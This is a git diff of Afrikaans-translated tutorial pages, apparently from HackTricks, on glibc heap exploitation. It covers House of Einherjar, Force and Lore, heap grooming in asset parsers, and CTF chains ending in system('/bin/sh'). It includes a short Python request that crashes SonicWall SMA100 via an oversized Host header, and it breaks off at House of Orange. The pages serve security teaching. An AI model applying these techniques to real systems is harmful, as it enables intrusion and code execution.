+2. **Gebruik ’n tweede parser-feature vir heap grooming.** Variable-length, reference-counted objekte is uitstekende plekhouers: allokeer baie chunks van dieselfde grootte, behou verwysings slegs na geselekteerde objekte, en laat cleanup die res free om herbruikbare gate te skep.
+3. **Verdeel die chain in stages.** Een embedded asset kan die heap groom en ’n ander kan die victim-objek allokeer en die overflow trigger. Container-formate wat verskeie onafhanklik geparseerde lêers embed, is ideaal hiervoor.
+4. **Hijack control flow voor cleanup.** Indien die free van die corrupted chunk heap metadata sal valideer en ’n crash veroorsaak, korrupteer ’n pointer/vtable-adjacent field wat deur ’n **later parsing step in dieselfde load routine** gebruik sal word.
+5. **Forge die minimum object graph.** Rebuild slegs die velde wat voor die indirect call gelees word (byvoorbeeld ’n count, ’n array pointer, die eerste fake child object en die vtable-slot wat daarna gebruik word).
+6. **Exploit 32-bit heap sprays.** Groot page-aligned strings/textures kan fake objects, pivot data, ROP en shellcode oor ’n groot gedeelte van die 32-bit address space herhaal, wat partial ASLR bypasses prakties maak.
+7. **Pivot vanaf die forged virtual call.** Indien die indirect call die fake object in ’n register soos `EAX` laat, verander ’n stabiele gadget soos `xchg esp, eax ; ... ; ret` die virtual call in ’n [**stack pivot**](../stack-overflow/stack-pivoting.md) na heap-resident ROP.
+
+Hierdie pattern is veral relevant in **games, importers, asset packs, media parsers en mod/plugin ecosystems**, waar ’n “passive” lêer komplekse stateful parsing en attacker-controlled heap shaping kan trigger.[[2]](#references)
+
+### Real-World Example: CVE-2025-40597 – Misusing `__sprintf_chk`
+
+In SonicWall SMA100 firmware 10.2.1.15 allokeer die reverse-proxy-module `mod_httprp.so` ’n **0x80-byte** heap chunk en concateneer dan verskeie strings daarin met `__sprintf_chk`:[[1]](#references)
+```c
+char *buf = calloc(0x80, 1);
+/* … */
+__sprintf_chk(buf, /* destination (0x80-byte chunk) */
+-1, /* <-- size argument !!! */
+0, /* flags */
+"%s%s%s%s", /* format */
+"/", "https://", path, host);
+```
+`__sprintf_chk` is deel van **_FORTIFY_SOURCE_**. Wanneer dit ’n **positiewe** `size`-parameter ontvang, verifieer dit dat die resulterende string binne die bestemmingsbuffer pas. Deur **`-1` (0xFFFFFFFFFFFFFFFF)** deur te gee, het die ontwikkelaars die **grenskontrole** effektief **gedeaktiveer**, wat die fortified call terugverander het in ’n klassieke, onveilige `sprintf`.
+
+Die verskaffing van ’n oormatig lang **`Host:`**-header laat ’n aanvaller dus toe om die **0x80-byte chunk te overflow en die metadata van die daaropvolgende heap chunk te beskadig** (tcache / fast-bin / small-bin, afhangend van die allocator). ’n Crash kan met die volgende gereproduseer word:
+```python
+import requests, warnings
+warnings.filterwarnings('ignore')
+requests.get(
+'https://TARGET/__api__/',
+headers={'Host': 'A'*750},
+verify=False
+)
+```
+Praktiese exploitation sal **heap grooming** vereis om ’n beheerbare objek direk ná die kwesbare chunk te plaas, maar die hoofoorsaak beklemtoon twee belangrike gevolgtrekkings:
+
+1. **_FORTIFY_SOURCE is nie ’n silwer koeël nie** – verkeerde gebruik kan die beskerming neutraliseer.
+2. Gee altyd die **korrekte buffergrootte** aan die `_chk`-familie deur (of, nog beter, gebruik `snprintf`).
+
+## References
+
+- [1] [watchTowr Labs – Stack Overflows, Heap Overflows en Eksistensiële Vrees (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
+- [2] [Synacktiv – Exploiting Titan Quest: Arbitrary Code Execution Through Malicious Custom Maps](https://synacktiv.com/en/publications/exploiting-titan-quest.html)
+- [3] [Azeria Labs – Grooming the iOS kernel heap](https://azeria-labs.com/grooming-the-ios-kernel-heap/)
+- [4] [guyinatuxedo – Heap consolidation explanation (basic heap overflow emulation)](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html)
+- [5] [guyinatuxedo – Protostar heap 0](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html)
+- [6] [guyinatuxedo – Protostar heap 1](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html)
+- [7] [8kSec – ARM64 Reversing and Exploitation Part 1: ARM Instruction Set & Simple Heap Overflow](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)
+- [8] [7rocky – Auth-or-out. Hack The Box](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
+- [9] [MITRE CWE-122 – Heap-based Buffer Overflow](https://cwe.mitre.org/data/definitions/122.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md
index 28c6fd437cd..1bc5b035d1b 100644
--- a/src/binary-exploitation/libc-heap/house-of-einherjar.md
+++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md
@@ -2,48 +2,92 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
+
+Vir die algemene agtergrond oor single-byte overflow, kyk na [Off-by-one overflow](off-by-one-overflow.md). Die belangrike deel hier is dat **House of Einherjar 'n off-by-null in 'n backward-consolidation primitive omskep**, wat dan **overlapping chunks** oplewer. Die overlap is gewoonlik slegs die eerste stadium; op moderne glibc is die opvolgaksie dikwels 'n [Tcache Bin Attack](tcache-bin-attack.md) of 'n ander metadata-corruption primitive.[[1]](#references)[[4]](#references)
### Code
-- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
-- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache)
+- Opgedateerde how2heap PoC (steeds teenwoordig in huidige branches soos `glibc_2.39` / `glibc_2.42`): [https://github.com/shellphish/how2heap/blob/master/glibc_2.42/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.42/house_of_einherjar.c)[[1]](#references)
+- Ouer maar steeds nuttige walkthrough: [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation)[[5]](#references)
+
+### Doel[[1]](#references)[[4]](#references)
+
+- Die praktiese doel is om `free()` **agtertoe te laat konsolideer in 'n fake chunk wat deur die aanvaller beheer word**, sodat 'n latere `malloc()` geheue teruggee wat **met 'n ander steeds-interessante chunk oorvleuel**.
+- In ou verduidelikings word dit dikwels beskryf as “allocate memory in an almost arbitrary address”, maar op moderne glibc is die algemeenste uitkoms eers **'n overlap primitive**, en daarna 'n **arbitrary allocation / write** deur freed-chunk metadata binne daardie overlap te korrupteer.
+
+### Vereistes[[1]](#references)[[4]](#references)
-### Goal
+- 'n **Fake chunk** waar ons wil hê die nuwe free region moet begin:
+- Plaas dit in dieselfde **heap arena** en hou dit **behoorlik aligned**.
+- Stel `fd` / `bk` om na homself te wys (of andersins aan unlink sanity checks te voldoen).
+- 'n **One-byte null overflow** vanaf een chunk na die volgende chunk se `size`, sodat die volgende chunk se `PREV_INUSE`-bit cleared kan word.
+- Beheer oor die victim chunk se vervalste `prev_size`:
+- `prev_size` moet die presiese afstand vanaf die victim chunk terug na die fake chunk wees.
+- Die fake chunk se `size`-veld moet met hierdie vervalste `prev_size` ooreenstem, anders abort moderne glibc tydens consolidation.
+- 'n **Heap leak** word gewoonlik in moderne exploit chains benodig:[[2]](#references)
+- House of Einherjar benodig dit dikwels reeds om die fake chunk te plaas/valideer.
+- As die overlap later tcache poisoning word, benodig **safe-linking** ook die chunk-adres om `fd` korrek te encode.
+- As die victim se grootte in **tcache** kan beland, moet jy gewoonlik eers daardie **tcache bin** vul. Anders word die victim daar gecache en gebeur die backward-consolidation-stap nooit nie.
+- 'n **Guard chunk** ná die victim is nuttig om merging met die top chunk te voorkom.
-- The goal is to allocate memory in almost any specific address.
+### Aanval[[1]](#references)[[4]](#references)
-### Requirements
+- Skep 'n fake chunk `A` binne geheue wat deur die aanvaller beheer word.[[4]](#references)
+- `A->fd` en `A->bk` word saamgestel om aan unlink checks te voldoen.
+- `A->size` moet later ooreenstem met die vervalste `prev_size` wat in die victim chunk geskryf word.
+- Allocate nog twee chunks, `B` en `C`, ná `A` (en gewoonlik nog 'n guard chunk ná `C`).
+- Misbruik die **off-by-null** vanaf `B` na `C`:
+- Clear `C` se `PREV_INUSE`-bit.
+- Forge `C->prev_size` sodat dit terugwys na fake chunk `A`.
+- Indien nodig, **vul die tcache vir `C` se size class**.
+- Free `C`:
+- glibc glo nou dat die vorige chunk free is en begin **backward consolidation**.
+- Omdat `C->prev_size` na `A` wys, begin consolidation by die fake chunk.
+- Request 'n nuwe chunk `D` uit die gevolglike consolidated region.
+- `D` begin by fake chunk `A` en **dek gewoonlik `B`**, wat die overlapping-chunks-toestand skep.
+- **House of Einherjar eindig hier**; die kragtige primitive is die overlap.
+- Algemene voortsetting:
+- Free `B` sodat dit in 'n fastbin / tcache beland.
+- Gebruik `D` (wat met `B` oorvleuel) om die freed metadata binne `B` te korrupteer.
+- Allocate weer om die overlap in **tcache poisoning / fastbin poisoning** te omskep en uiteindelik 'n **arbitrary allocation** te kry.
-- Create a fake chunk when we want to allocate a chunk:
- - Set pointers to point to itself to bypass sanity checks
-- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
-- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
- - The fake chunk size must also have been set the same size to bypass sanity checks
-- For constructing these chunks, you will need a heap leak.
+## Moderne glibc-notas
-### Attack
+- Die tegniek is **nie slegs histories nie**: die how2heap PoC bestaan steeds in moderne branches soos `glibc_2.39` en `glibc_2.42`.[[1]](#references)
+- Die klassieke moderne layout verskil effens van ouer writeups:
+- in plaas daarvan om op die ou small-bin-styl-flow staat te maak,
+- is dit algemeen om **tcache eers te vul** en die victim die **unsorted-bin consolidation path** te laat bereik.
+- Op **glibc 2.32+**, as jy met tcache poisoning eindig, onthou dat **safe-linking** die singly linked freelist-pointer beskerm:[[3]](#references)
+```c
+encoded_fd = target ^ (victim_chunk_addr >> 12)
+```
+Daarom is die overlap op sigself nie meer genoeg nie; jy het gewoonlik ’n **heap leak** en ’n **16-byte aligned target** nodig sodat die volgende `malloc()` die vervalste pointer aanvaar.
+- Op **glibc 2.34+** is die ou `__malloc_hook` / `__free_hook`-finish nie meer die verstekaanname nie. ’n Moderne House of Einherjar-chain teiken gewoonlik:
+- ’n application object,
+- `tcache_perthread_struct`-metadata,
+- ’n leak-to-stack path (byvoorbeeld, waarna daar na ’n return address gepivot word), of
+- ’n FSOP-georiënteerde writable structure.
+- Op **glibc 2.42+** kan `tcache` opsioneel baie groter chunks cache indien `glibc.malloc.tcache_max` verhoog word. Indien ’n lab of target onverwags jou victim in tcache hou, **fill/disable tcache first** voordat jy aanvaar dat die unsorted-bin path bereik sal word.
-- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections
-- 2 other chunks (`B` and `C`) are allocated
-- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before
- - This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks.
-- Then, the tcache is filled
-- Then, `C` is freed so it consolidates with the fake chunk `A`
-- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
- - The house of Einherjar finishes here
-- This can be continued with a fast bin attack or Tcache poisoning:
- - Free `B` to add it to the fast bin / Tcache
- - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)
- - Then, 2 mallocs are done and the second one is going to be **allocating the target address**
+## Praktiese checks tydens debugging
-## References and other examples
+- `corrupted size vs. prev_size while consolidating`
+- Jou vervalste `prev_size` stem nie presies ooreen met die fake chunk se `size` nie, of die fake chunk is nie waar glibc dit verwag nie.
+- Geen overlap ná `free(C)` nie
+- Die victim chunk het waarskynlik in **tcache** gebly in plaas daarvan om consolidation te bereik, of dit het met die **top chunk** saamgesmelt in plaas van met jou fake chunk.
+- `malloc(): unaligned tcache chunk detected` in die opvolgstadium
+- Die House of Einherjar-overlap het gewerk, maar jou latere **safe-linked `fd`** is verkeerd of die target address is nie aligned nie.
-- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
-- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
- - After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
-- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- - Null-byte overflow bug in `strtok`.
- - Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
+## References
+- [1] [how2heap – House of Einherjar PoC (glibc 2.42)](https://github.com/shellphish/how2heap/blob/master/glibc_2.42/house_of_einherjar.c)
+- [2] [ctf-wiki – House of Einherjar, 2016 SECCON tinypad](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
+- Nadat pointers gefree is, word hulle nie genullify nie, sodat die exploit hulle steeds kan lees. Die writeup leak eers libc vanaf ’n unsorted-bin chunk en leak daarna ’n heap address voordat House of Einherjar opgestel word.
+- [3] [baby-talk. DiceCTF 2024](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
+- `strtok` verskaf die off-by-null primitive.
+- House of Einherjar word gebruik om die overlap te skep, en die opvolg is ’n **safe-linking-aware tcache poisoning**-chain op ’n moderne libc waar hooks nie meer die verstek-eindteiken is nie.
+- [4] [House of Einherjar: Die kuns van visuele exploitation](https://www.shonk.sh/posts/visual-exploitation/)
+- Moderne 2025-writeup met duidelike heap-visualisering van die fake chunk, vervalste `prev_size` en overlap-stadium.
+- [5] [guyinatuxedo – House of Einherjar exploitation walkthrough](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md
index 7d4fb924718..7c2c60f0c25 100644
--- a/src/binary-exploitation/libc-heap/house-of-force.md
+++ b/src/binary-exploitation/libc-heap/house-of-force.md
@@ -4,61 +4,56 @@
## Basic Information
-### Code
+### Kode
-- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size`
- - You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want.
+- Die klassieke tegniek is deur glibc se top-size consistency check geblokkeer (ingevoer in glibc 2.29); 'n oversized forged top chunk veroorsaak nou 'n abort met `malloc(): corrupted top size`.[[1]](#references)
+- Jy kan die [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) probeer om dit te toets indien jy wil.[[6]](#references)
-### Goal
+### Doel
-- The goal of this attack is to be able to allocate a chunk in a specific address.
+- Die doel van hierdie aanval is om 'n chunk by 'n spesifieke adres te kan allokeer.[[2]](#references)
-### Requirements
+### Vereistes
-- An overflow that allows to overwrite the size of the top chunk header (e.g. -1).
-- Be able to control the size of the heap allocation
+- 'n Overflow wat toelaat dat die grootte van die top chunk header oorskryf word (bv. -1).
+- Om die grootte van die heap allocation te kan beheer
-### Attack
+### Aanval
-If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space.
-
-Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
+In 'n kwesbare allocator korrupteer die aanvaller die grootte van die top chunk na die maksimum unsigned value, en versoek dan 'n noukeurig gekose grootte wat die top pointer verskuif tot net voor target address `P`. Die request size en `mmap`-gedrag hang steeds af van allocator checks, thresholds, alignment en integer arithmetic.[[3]](#references)
+Bereken die afstand vanaf die huidige top chunk tot by die target. Die eerste crafted `malloc` verskuif die top chunk met daardie hoeveelheid; die volgende allocation oorvleuel dan die target. Vir die aangehaalde PoC is die request-berekening:[[4]](#references)
```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/*
- * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
- * new_top = old_top + nb
- * nb = new_top - old_top
- * req + 2sizeof(long) = new_top - old_top
- * req = new_top - old_top - 2sizeof(long)
- * req = target - 2sizeof(long) - old_top - 2sizeof(long)
- * req = target - old_top - 4*sizeof(long)
- */
+* evil_size is calculated as follows (nb is the requested bytes plus metadata):
+* new_top = old_top + nb
+* nb = new_top - old_top
+* req + 2sizeof(long) = new_top - old_top
+* req = new_top - old_top - 2sizeof(long)
+* req = target - 2sizeof(long) - old_top - 2sizeof(long)
+* req = target - old_top - 4*sizeof(long)
+*/
```
-
-Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
-Then, do another malloc to get a chunk at the target address.
-
-### References & Other Examples
-
-- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
-- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
-- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_force](https://heap-exploitation.dhavalkapil.com/attacks/house_of_force)
-- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
-- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
-- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
- - The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
- - The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
- - Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
- - Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
-- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- - In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
- - Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
- - Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
- - An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
-- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
- - There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
- - Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
-
+Vir die aangehaalde 64-bit/32-bit PoC-uitleg neem die allokering van `target - old_top - 4*sizeof(long)` die twee chunk headers in ag en skuif dit die volgende teruggestuurde chunk oor die teiken. Bereken dit weer vanaf `request2size()` en die presiese argitektuur, eerder as om die uitdrukking as universeel te behandel.[[5]](#references)[[6]](#references) \
+Roep dan weer `malloc` aan om ’n chunk te verkry wat die teikenadres oorvleuel.
+
+### Uitgewerkte exploit-voorbeelde
+
+- **HITCON Training lab 11** is ’n ret2win-stylvoorbeeld. ’n Heap overflow verander die top size na `-1` (`p64(0xffffffffffffffff)` op die gedemonstreerde 64-bit-teiken); die exploit bereken en allokeer die afstand na ’n funksiewyser, en gebruik dan die volgende allokering om daardie wyser te oorvleuel en dit met die ret2win-adres te vervang.[[7]](#references)
+- **BCTF bcloud** lek eers ’n heap-adres deur die `Input your name:`-veld. Die `Org:`-invoer vul die 64-byte `s`-buffer, waarvan die gekopieerde uitleg deur `v2` en daarna aanvallerbeheerde `Host:`-data gevolg word; die `strcpy` na ’n 64-byte heap chunk laat die Host-bytes dus toe om die top-chunk size te oorskryf. Nadat die allokerings geposisioneer is, oorskryf een oplossing `atoi@GOT` met `printf`, gebruik `%24$p` om `_IO_2_1_stderr_` te lek, resolve libc, oorskryf `atoi@GOT` weer met `system`, en dien `/bin/sh` in. ’n Alternatief oorskryf `free` met `puts`, reël dat ’n wyser na `atoi@GOT` gefree/leak word, en vervang dan `atoi` met `system`.[[8]](#references)[[9]](#references)
+- **BKP 2016 cookbook** gebruik ’n UAF wat ’n wyser na ’n gefree-de chunk herbruikbaar laat. Die exploit plaas ’n GOT-wyser vir `free` waar die program se lees/vertoon-pad dit lek, resolve libc, korrupteer die top size, skuif die top na `__free_hook`, skryf `system`, en free ’n chunk wat `/bin/sh` bevat.[[10]](#references)
+
+## References
+
+- [1] [glibc – commit wat die top chunk-grootte-kontrole versterk](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)
+- [2] [how2heap-repository](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
+- [3] [ctf-wiki – House of Force](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
+- [4] [heap-exploitation.dhavalkapil.com – House of Force](https://heap-exploitation.dhavalkapil.com/attacks/house_of_force)
+- [5] [how2heap – House of Force PoC (glibc 2.27)](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
+- [6] [guyinatuxedo – House of Force exploitation-voorbeeld](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
+- [7] [ctf-wiki – House of Force, HITCON Training lab 11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
+- [8] [shift-crops hatenablog (vertaal) – House of Force walkthrough](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
+- [9] [ctf-wiki – House of Force, 2016 BCTF bcloud](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud)
+- [10] [guyinatuxedo – House of Force, bkp16 cookbook](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md
index 862ba7323ff..1280d786507 100644
--- a/src/binary-exploitation/libc-heap/house-of-lore.md
+++ b/src/binary-exploitation/libc-heap/house-of-lore.md
@@ -2,46 +2,39 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
### Code
-- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- - This isn't working
-- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- - This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
-- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
+- Die CTF Wiki-voorbeeld is nuttig vir die klassieke allocator-gedrag, maar daar word nie verwag dat dit onveranderd op huidige glibc sal loop nie.[[1]](#references)
+- Die how2heap glibc 2.39 PoC dokumenteer die moderne kontroles. As dit met `malloc(): unaligned tcache chunk detected` aborteer, reproduseer dit met die ooreenstemmende glibc-build en allocator-toestand, eerder as om die tegniek as weergawe-onafhanklik te beskou.[[4]](#references)
+- Hierdie voorbeeld werk steeds: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)[[3]](#references)
-### Goal
+### Doel
-- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
- Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
+- Voeg 'n aanvallergeboude fake chunk by 'n small-bin-gekoppelde lys sodat 'n latere `malloc` geheue teruggee wat die fake chunk oorvleuel. Die teiken is die stoorplek wat vir die fake chunk self gebruik word; House of Lore verskaf nie direk allokasie by 'n onverwante arbitrêre adres nie.
-### Requirements
+### Vereistes
-- Create 2 fake chunks and link them together and with the legit chunk in the small bin:
- - `fake0.bk` -> `fake1`
- - `fake1.fd` -> `fake0`
- - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- - `legit.bk` -> `fake0`
+- Skep 2 fake chunks en koppel hulle aan mekaar en aan die legit chunk in die small bin:[[2]](#references)
+- `fake0.bk` -> `fake1`
+- `fake1.fd` -> `fake0`
+- `fake0.fd` -> `legit` (jy moet 'n pointer in die freed small-bin chunk via 'n ander vuln wysig)
+- `legit.bk` -> `fake0`
-Then you will be able to allocate `fake0`.
+Dan sal jy `fake0` kan allokeer.
-### Attack
+### Aanval
-- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
-- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
- - `fake0.bk` -> `fake1`
- - `fake1.fd` -> `fake0`
- - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- - `legit.bk` -> `fake0`
-- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
-- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
+- 'n Klein chunk (`legit`) word geallokeer, gevolg deur 'n guard chunk wat consolidation met die top chunk voorkom. `legit` word in die unsorted bin gefreed, waarna 'n groter allokasie **`legit` in die small bin sorteer**.[[3]](#references)
+- Die aanvaller berei die fake chunks voor deur die vier skakels in **Vereistes** te gebruik, en korrupteer dan die `bk` pointer van die freed legit chunk sodat die unlink-kontroles daardie struktuur aanvaar.
+- 'n Allokasie van dieselfde grootte gee `legit` terug, wat **`fake0`** aan die kop van die small-bin-lys laat.
+- Nog 'n klein chunk word geallokeer, met `fake0` as 'n chunk, wat dit moontlik maak om pointers daarin te lees of te skryf.
## References
-- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
-- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore)
-- [https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
-
+- [1] [ctf-wiki – House of Lore](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
+- [2] [heap-exploitation.dhavalkapil.com – House of Lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore)
+- [3] [guyinatuxedo – House of Lore-uitbuitingsvoorbeeld](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
+- [4] [how2heap – House of Lore PoC (glibc 2.39)](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-orange.md b/src/binary-exploitation/libc-heap/house-of-orange.md
index e57f477c6b0..fcfde53653b 100644
--- a/src/binary-exploitation/libc-heap/house-of-orange.md
+++ b/src/binary-exploitation/libc-heap/house-of-orange.md
@@ -2,74 +2,66 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-### Code
+### Kode
